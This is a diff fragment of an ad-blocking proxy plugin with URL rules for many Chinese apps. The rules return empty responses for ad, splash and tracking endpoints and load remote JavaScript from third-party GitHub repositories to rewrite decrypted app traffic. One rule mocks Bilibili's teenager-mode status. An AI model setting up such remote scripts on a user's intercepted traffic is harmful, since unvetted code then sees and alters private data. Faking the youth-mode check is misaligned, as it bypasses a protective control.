+^https?:\/\/restapi\.iyunmai\.com\/api\/ios\/ad\/ data-type=text data=" " status-code=200 + +# hostname = www.cntv.cn +^https?:\/\/www\.cntv\.cn\/nettv\/adp\/ data-type=text data=" " status-code=200 + +# hostname = cdn.cmgadx.com +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/m8uTS50pt3DC0Xd6\.json data-type=text data=" " status-code=200 + +# hostname = xyst.yuanfudao.com +^https?:\/\/xyst\.yuanfudao\.com\/iphone\/splashesV\d data-type=text data=" " status-code=200 + +# hostname = issuecdn.baidupcs.com +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/ts_ad\/ data-type=text data=" " status-code=200 + +# 弹窗广告(APP降级10.66.80版本) 如开启可自行添加主机名 +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appclient\/noEnc\/getAppPopup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告(APP降级10.66.80版本) +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appClient\/noEnc\/getHomePageAds data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = *.yuxueyuan.cn +^https?:\/\/.*\.yuxueyuan\.cn\/yxy-api-gateway\/api\/json\/advert\/getsAdStartScreen data-type=text data=" " status-code=200 + +# hostname = api-cslp-emt.amazon.cn +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/content\/widget\/popup data-type=text data=" " status-code=200 + +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/recommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api2.yaduo.com +^https?:\/\/api2\.yaduo\.com\/atourlife\/activity\/appLaunch data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏以及app内弹窗广告 +^https:\/\/api5\.youonbike\.com\/ibike-rest-service\/user\/fun_IBF_GetAdvert data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = web-stable-cdn.ykccn.com, gw3.ykccn.com +^https?:\/\/web-stable-cdn\.ykccn\.com\/sp-img-2023\/common\/weCom-open data-type=tiny-gif status-code=200 + +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/appAdvertising\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/charge\/activity\/package\/newest data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 移除开屏广告、列表广告 +^http:\/\/.+\.gamersky\.com\/.+\/adSystem\/ad\/.+ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +https://.+\.gamersky.com/v1/statisticAd data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/webappcfg\.paas\.cmbchina\.com\/v\d\/func\/getmarketconfig data-type=text data=" " status-code=200 + +# 首页横幅广告 +^https?:\/\/mbmodule-openapi\.paas\.cmbchina\.com\/graphic\/v2\/module\/graphic data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/mbasecc\.(bas|bcs)\.cmbchina\.com\/Edge\/api\/mlife\.clientface\.clientservice\.api\.advertiseService\/preCacheAdvertiseSec data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页随机弹窗 +^https?:\/\/intellicc\.bcs\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.adrender\.api\.AdWork\/getAdsBySlotId data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# > 中国银行 缤纷生活 +^https?:\/\/mlife\.jf365\.boc\.cn\/AppPrj\/FirstPic\.do\?txnId=2PIC000001 data-type=text data=" " status-code=200 + +# hostname = wap.bank.ecitic.com, imcs.citicbank.com +^https?:\/\/wap.bank\.ecitic\.com:6443\/NMBFOServer\/cbframework\.do\?act=CUBEPAGEDATA data-type=text data=" " status-code=200 + +^https?:\/\/imcs\.citicbank\.com\/cloud\/.+(1125.+2436|1242.+2688|750.+1638|563.+1218) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = client.app.coc.10086.cn, app.10086.cn +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/init\/startInit data-type=text data=" " status-code=200 + +# hostname = mcmm.caiyun.feixin.10086.cn, mrp.mcloud.139.com, ad.mcloud.139.com, middle.yun.139.com +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/IAdvert data-type=text data=" " status-code=200 + +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/v\d\/getAdverts data-type=text data=" " status-code=200 + +^https?:\/\/middle\.yun\.139\.com\/openapi\/cardConfig\/queryCardInfoV3 data-type=text data=" " status-code=200 + +^https?:\/\/ad\.mcloud\.139\.com\/advertapi\/adv-filter\/adv-filter\/AdInfoFilter\/getAdInfos data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/mrp\.mcloud\.139\.com\/mc\/mc-client-service\/openapi\/letter\/query data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn +^https?:\/\/m\.client\.10010\.com\/mobileService\/(activity|customer)\/(accountListData|get_client_adv|get_startadv) data-type=tiny-gif status-code=200 + +^https?:\/\/m\.client\.10010\.com\/mobileService\/customer\/getclientconfig\.htm data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/m\.client\.10010\.com\/uniAdmsInterface\/(getHomePageAd|getWelcomeAd) data-type=tiny-gif status-code=200 + +^https?:\/\/[^(apple|10010)]+\.(com|cn)\/(a|A)d(s|v)?(\/|\.js) data-type=tiny-gif status-code=200 + +^https?:\/\/m1\.ad\.10010\.com\/noticeMag\/images\/imageUpload\/2\d{3} data-type=tiny-gif status-code=200 + +^https?:\/\/res\.mall\.10010\.cn\/mall\/common\/js\/fa\.js?referer= data-type=tiny-gif status-code=200 + +^https?:\/\/zt-app\.go189\.cn\/zt-app\/welcome\/.*?Animation data-type=tiny-gif status-code=200 + +# hostname = app.10099.com.cn +^https?:\/\/app\.10099\.com\.cn\/contact-web\/api\/version\/getFlashScreenPage data-type=text data=" " status-code=200 + +# 横幅广告 +^https?:\/\/e\.weather\.com\.cn\/weChat\/typhoonNull\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = xyz.cnki.net +^https?:\/\/xyz\.cnki\.net\/resourcev7\/api\/manualpush\/SlidsList$ data-type=text data=" " status-code=200 + +# 启动开屏 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/update\/startupPage\/v data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 猜你喜欢 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/guessYouLike\/v data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 屏蔽开屏广告 +^https:\/\/ecssmobile\.e-chinalife\.com:8082\/ecss\/web\/appupdate\/customization\/getFlashScreenInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = sichuan.95504.net +^https?:\/\/sichuan\.95504\.net\/v\d\/gd\/index\/get data-type=text data=" " status-code=200 + +# hostname = app.badmintoncn.com +^https?:\/\/app\.badmintoncn\.com\/mag\/operative\/v\d\/ad\/listNotEndByPlace\?place=first_page data-type=text data=" " status-code=200 + +# 微信小程序净化 +^https?:\/\/hdgateway\.zto\.com\/getApolloConfig data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/hdgateway\.zto\.com\/track data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/hdgateway\.zto\.com\/getAdInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/hdgateway\.zto\.com\/listJumperShow data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 首页弹窗 如开启可自行添加主机名 +^https?:\/\/openapi\.boc\.cn\/unlogin\/app\/cbsp\/query_ad_list data-type=text data=" " status-code=200 + +# 弹窗广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getPopAdData data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 底部横幅广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getIndexAdData data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 需要重装 +^https?:\/\/apicloud\.zol\.com\.cn\/Article\/WapLaunchLogo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 倒计时还在,点击任意位置跳过开屏动画 +^https?:\/\/direct\.z-bank\.com\/portal\/AdvertImageDownLoad4Mobile\.do data-type=text data=" " status-code=200 + +# 开屏广告 弹窗广告 +^https?:\/\/c\.zhangle\.com\/pic\/mktg\/diversity\/.+\.jpg$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/live\.inst-service\.htsc\.com\/live data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/geetest\.htsc\.com:8888\/pre_get_token data-type=text data=" " status-code=200 + +^https?:\/\/119\.29\.29\.\d+\/d data-type=text data=" " status-code=200 + +# 首页 - 悬浮图标、顶部横幅、开屏广告、关注页推荐、推荐信息流、热榜信息流、热榜直播、回答底部卡片 +^https:\/\/api\.zhihu\.com\/commercial_api\/(?:answer\/\d+\/bottom-v2|article\/\d+\/bottom-v2|banners_v3\/app_topstory_banner|launch_v2|real_time_launch_v2) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.zhihu\.com\/content-distribution-core\/bubble\/common\/settings data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.zhihu\.com\/(?:moments\/lastread|drama\/hot-drama-list) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.zhihu\.com\/root\/window data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 会员页面 - 弹窗、悬浮动图 +^https:\/\/api\.zhihu\.com\/(?:bazaar\/float_window|market\/popovers_v2) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的页面 - 项目列表、会员卡片 +^https:\/\/api\.zhihu\.com\/me\/guides data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 搜索页 - 关键词、猜你想搜 +^https:\/\/api\.zhihu\.com\/search\/(hot_search|preset_words) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/www\.zhihu\.com\/api\/v4\/search\/related_queries\/(?:article|answer)\/\d+ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 回答详情页 - 评论区顶部、下一个回答 +^https:\/\/api\.zhihu\.com\/comment_v5\/(?:articles|answers)\/\d+\/list-headers data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.zhihu\.com\/prague\/related_suggestion_native\/feed\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.zhihu\.com\/v5\.1\/topics\/answer\/\d+\/relation data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.zhihu\.com\/ad-style-service\/request data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/appcloud2\.zhihu\.com\/v3\/resource\?group_name=mp data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 网页版去广告 //www.zhihu.com, zhuanlan.zhihu.com +^https:\/\/api\.zhihu\.com\/distribute\/rhea\/qa_ad_card\/h5\/recommendation\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = syh.zybang.com, www.zybang.com +^https?:\/\/(syh|www)\.zybang\.com\/adx\/ data-type=text data=" " status-code=200 + +# hostname = ih2.ireader.com, book.img.ireader.com +^https?:\/\/ih2\.ireader\.com\/zyapi\/bookstore\/ad\/ data-type=text data=" " status-code=200 + +^https?:\/\/ih2\.ireader\.com\/zyapi\/self\/screen\/ad data-type=text data=" " status-code=200 + +^https?:\/\/ih2\.ireader\.com\/zycl\/api\/ad\/ data-type=text data=" " status-code=200 + +^https?:\/\/book\.img\.ireader\.com\/group6\/M00 data-type=tiny-gif status-code=200 + +# hostname = djcapp.game.qq.com +^https?:\/\/djcapp\.game\.qq\.com\/daoju\/igw\/main\/\?_service=welink\.ad\.list&_ret_key=result&site_set data-type=text data=" " status-code=200 + +# 我的横幅广告 +^https?:\/\/quanguo\.mygolbs\.com:8081\/MyBusServer\/servlet\/MyGoServer\.HttpPool\.HttpHandlerServlet data-type=text data=" " status-code=200 + +# 开屏广告 +^https?:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +#^https?:\/\/.+\.pstatp\.com\/img\/ad reject-200 +^https?:\/\/.+\.(amemv|musical|snssdk|tiktokv)\.com\/(api|motor)\/ad\/ data-type=text data=" " status-code=200 + +^https?:\/\/.+\.snssdk\.com\/motor\/operation\/activity\/display\/config\/V2\/ data-type=text data=" " status-code=200 + +^https?:\/\/.+\.amemv\.com\/.+app_log data-type=tiny-gif status-code=200 + +^https?:\/\/.+\.amemv\.com\/.+report data-type=tiny-gif status-code=200 + +^https?:\/\/.+\.amemv\.com\/.+stats data-type=tiny-gif status-code=200 + +# hostname = app.zhuanzhuan.com +^https?:\/\/app\.zhuanzhuan\.com\/zzx\/transfer\/getConfigInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/app\.zhuanzhuan\.com\/zzopen\/popwindow\/getallpopwin\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzlogic\/getOpenScreen data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 转转右下角悬浮广告 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/userred\?scene=homePage data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ossweb-img\.qq\.com\/upload\/adw\/image\/[0-9]{3}\/202[0-9]{5}\/[a-z0-9]{32}\.(jpg|jpeg) data-type=text data=" " status-code=200 + +# 开屏广告 感谢【Mozart】分享 +^https?:\/\/z\.onewo\.com\/passer\/api\/ads\/v1\/8\/list data-type=text data=" " status-code=200 + +# hostname = fastbuyer.zbj.com +^https?:\/\/fastbuyer\.zbj\.com\/configure\/screenAdConfig\/ data-type=text data=" " status-code=200 + +# 开屏广告 影响携程部分功能正常运行,携程8.40.0以下的版本不受影响。如开启可自行添加主机名 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/scjson\/tripAds data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = ztoread.ziroom.com +^https?:\/\/ztoread\.ziroom\.com\/foka-card-api\/popup\/v2\/get data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ztoread\.ziroom\.com\/ymerApi\/v\d\/index\/open data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 需卸载重装 感谢【zyu0090】分享 +^https?:\/\/preprod\.cdzghome\.com:8100\/banner\/bootUp data-type=text data=" " status-code=200 + +# 去主界面广告 +^https?:\/\/apio\.zhengqi100\.com\/forum\/thread\/listsHome data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = beehiveapi.58.com +^https?:\/\/beehiveapi\.58\.com\/adplace\/zcm data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/ap[ip]\.bilibili\.com\/x\/(?:resource\/(?:top\/activity|patch\/tab)|v2\/search\/square|vip\/ads\/materials)\? data-type=text data="{"code":-404,"message":"-404","ttl":1,"data":null}" status-code=200 header="Content-Type:text/plain" + +^https:\/\/api\.bilibili\.com\/pgc\/activity\/deliver\/material\/receive\? data-type=text data="{"code":0,"data":{"closeType":"close_win","container":[],"showTime":""},"message":"success"}" status-code=200 header="Content-Type:text/plain" + +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.interface\.v1\.Teenagers\/ModeStatus$ data-type=base64 data="AAAAABMKEQgCEgl0ZWVuYWdlcnMgAioA" + +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.interface\.v1\.Search\/DefaultWords$ data-type=base64 data="AAAAACkaHeaQnOe0ouinhumikeOAgeeVquWJp+aIlnVw5Li7IgAoAToAQgBKAA==" + +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.view\.v1\.View\/TFInfo$ data-type=base64 data="AAAAAAIIAQ==" + +^https?:\/\/(ec|c)api\.lkcoffee\.com\/resource\/m\/eorder\/product\/popAppTagProductList data-type=text data="{"status":"SUCCESS"}" header="Content-Type:application/json" + +# 首页领券悬浮红包 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/bubble\/operate\/info data-type=text data="{"code": 0}" header="Content-Type:application/json" + +[Script] +# > 12306 +12306 = type=http-request, pattern=^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList, script-path=https://raw.githubusercontent.com/kokoryh/Script/master/js/12306.js, requires-body=true, timeout=60 + +# > 555影视 +555影视广告 = type=http-response, pattern="^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/movie\/index_recommend", script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/555Ad.js, requires-body=true, timeout=60 + +# > 51信用卡管家 +51信用卡管家 = type=http-response, pattern=^https?:\/\/api\.u51\.com\/liabilitygateway\/api\/v\d\/homepage\/liabilityline, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js, requires-body=true, timeout=60 + +51信用卡管家 = type=http-response, pattern=^https?:\/\/api\.u51\.com\/generic-config-gateway\/api\/v\d\/guanjia\/me-tab2\/config, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js, requires-body=true, timeout=60 + +# > 51job +51job = type=http-response, pattern=^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/recommend\/job-tab-dynamic, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js, requires-body=true, timeout=60 + +# > 阿里巴巴 +阿里巴巴广告 = type=http-response, pattern=^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.mshow, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60 + +阿里巴巴广告 = type=http-response, pattern=^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60 + +myBlockAds = type=http-response, pattern=^https:\/\/poplayer\.template\.alibaba\.com\/\w+\.json, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60 + +# > 阿里云盘 +阿里云盘 = type=http-response, pattern=^https:\/\/api\.alipan\.com\/apps\/v2\/users\/home\/(news|widgets), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js, requires-body=true, timeout=60 + +阿里云盘 = type=http-response, pattern=^https:\/\/member\.alipan\.com\/v1\/users\/onboard_list, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js, requires-body=true, timeout=60 + +# 首页信息流广告 +爱奇艺首页信息流广告 = type=http-response, pattern=^https?:\/\/[\d\.]+\/3f1\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +爱奇艺首页信息流广告 = type=http-response, pattern=^https?:\/\/access\.if\.iqiyi\.com\/3f1\/cards\.iqiyi\.com\/(views_category\/3\.0\/category_home|views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +爱奇艺首页信息流广告 = type=http-response, pattern=^https?:\/\/cards\.iqiyi\.com\/views_category\/3\.0\/(category_home|categorylib_content|film_hybrid)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +爱奇艺首页信息流广告 = type=http-response, pattern=^https?:\/\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 播放详情页 +爱奇艺播放详情页广告 = type=http-response, pattern=^https?:\/\/cards\.iqiyi\.com\/views_plt\/3\.0\/player_tabs_v2\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 搜索页列表 +爱奇艺搜索页列表广告 = type=http-response, pattern=^https?:\/\/cards\.iqiyi\.com\/views_search\/3\.0\/(hot_query_)?search\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 评论区 +爱奇艺评论区 = type=http-response, pattern=^https?:\/\/comment-card\.iqiyi\.com\/views_comment\/3\.0\/long_video_comments\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 我的页面菜单 +爱奇艺我的页面菜单 = type=http-response, pattern=^https?:\/\/iface2\.iqiyi\.com\/aggregate\/3\.0\/getMyMenus\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 首页左上角天气 +爱奇艺首页左上角天气 = type=http-response, pattern=^https?:\/\/iface2\.iqiyi\.com\/control\/3\.0\/init_proxy\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 通用控制,各tab页二楼 +爱奇艺通用控制,各tab页二楼 = type=http-response, pattern=^https?:\/\/iface2\.iqiyi\.com\/fusion\/3\.0\/common_switch\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 底部tab,顶部tab +爱奇艺底部tab,顶部tab = type=http-response, pattern=^https?:\/\/iface2\.iqiyi\.com\/views\/3\.0\/(bottom_theme|home_top_menu)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 搜索框填充词 +爱奇艺搜索框填充词 = type=http-response, pattern=^https?:\/\/search\.video\.iqiyi\.com\/q\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 开屏广告,播放广告 +爱奇艺开屏广告,播放广告 = type=http-response, pattern=^https?:\/\/(kjp|t7z)\.cupid\.iqiyi\.com\/mixer\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 登录后个人界面广告 +blued登录后个人界面广告 = type=http-response, pattern=^https?:\/\/social\.blued\.cn\/users\/.+\/more\/ios\?v=2, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/blued.js, requires-body=true, timeout=60 + +# > 百度地图 +百度地图广告 = type=http-response, pattern=^https?:\/\/newclient\.map\.baidu\.com\/client\/phpui2\/\?qt=ads, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/baidumap.js, requires-body=true, timeout=60 + +# > 百度贴吧 +百度贴吧广告 = type=http-response, pattern=^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/(c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)$|tiebaads\/commonbatch|c\/s\/sync$), script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-json.js, requires-body=true, timeout=60 + +百度贴吧广告 = type=http-response, pattern=^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)\?cmd, script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-proto.js, requires-body=true, binary-body-mode=true, timeout=60 + +# > 哔哩哔哩 +bilibili.airborne = type=http-request, pattern=^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.playerunite\.v1\.Player\/PlayViewUnite$, script-path=https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.airborne.js, requires-body=true, binary-body-mode=true + +bilibili.airborneDm = type=http-request, pattern=^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.community\.service\.dm\.v1\.DM\/DmSegMobile$, script-path=https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.airborne.js, requires-body=true, binary-body-mode=true + +bilibili.protobuf = type=http-response, pattern=^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.(?:app\.(?:show\.v1\.Popular\/Index|dynamic\.v2\.Dynamic\/DynAll|view(?:unite)?\.v1\.View\/(?:View|ViewProgress|RelatesFeed)|playurl\.v1\.PlayURL\/PlayView|playerunite\.v1\.Player\/PlayViewUnite)|polymer\.app\.search\.v1\.Search\/SearchAll|community\.service\.dm\.v1\.DM\/DmView|main\.community\.reply\.v1\.Reply\/MainList|pgc\.gateway\.player\.v2\.PlayURL\/PlayView)$, script-path=https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.protobuf.js, requires-body=true, binary-body-mode=true, argument="[{showUpList}, {filterTopReplies}, {airborneDm}]" + +# > 哔哩哔哩漫画 +哔哩哔哩漫画 = type=http-response, pattern=^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/UCenterConf, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js, requires-body=true, timeout=60 + +哔哩哔哩漫画 = type=http-response, pattern=^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/GetInitInfo, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js, requires-body=true, timeout=60 + +# 记录 大家都在看data.recom_cards / 底部按钮data.recom_btns +薄荷健康 = type=http-response, pattern=^https:\/\/api\.boohee\.com\/meta-interface\/v2\/index\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js, requires-body=true, timeout=60 + +# 广场 推荐 红标data.tabs[1].badge /轮播图data.recommend_ads +薄荷健康 = type=http-response, pattern=^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/plaza\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js, requires-body=true, timeout=60 + +# 代谢中心 顶部轮播图top_banner / 免费问诊推广diagnos_config / 合作医疗机构partner_hospital / 医患问答question_answer / 热门商品product / 品牌大事件brand_story +薄荷健康 = type=http-response, pattern=^https:\/\/api\.boohee\.com\/open-interface\/v1\/string\/market_page\?title=metabolism_config$, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js, requires-body=true, timeout=60 + +# > 彩云天气 +彩云天气 = type=http-request, pattern=^https?:\/\/wrapper\.cyapi\.cn\/v1\/activity\?, script-path=http://script.hub/convert/_start_/https://raw.githubusercontent.com/Keywos/rule/main/mocks/caiyun.json/_end_/caiyun.json?type=mock&target-app=loon-plugin, timeout=60 + +# > 菜鸟裹裹 +菜鸟裹裹 = type=http-response, pattern=^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch$, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/header.js, timeout=60 + +菜鸟裹裹 = type=http-response, pattern=^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.m?show\.cn, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60 + +菜鸟裹裹 = type=http-response, pattern=^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(pickup\.empty\.page|protocol\.homepage)\.get\.cn, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60 + +# 消息中心 +菜鸟裹裹 = type=http-response, pattern=^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.nbfriend\.message\.conversation\.list\.cn, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60 + +# > 财新 +财新广告 = type=http-response, pattern=^https?:\/\/gg\.caixin\.com\/s\?z=caixin&op=1&c=3362, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/caixin/caixinAd.js, requires-body=true, timeout=60 + +# 开屏广告 +大众点评开屏广告 = type=http-response, pattern=^https?:\/\/img\.meituan\.net\/dpmobile\/, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/dianping.js, requires-body=true, timeout=60 + +# (黑屏25秒) +动画疯 = type=http-response, pattern=^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d/(token|m3u8).php\?, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/Bahamut/BahamutAnimeAds.js, requires-body=true, timeout=60 + +# > 滴滴出行 +滴滴出行 = type=http-response, pattern=^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, 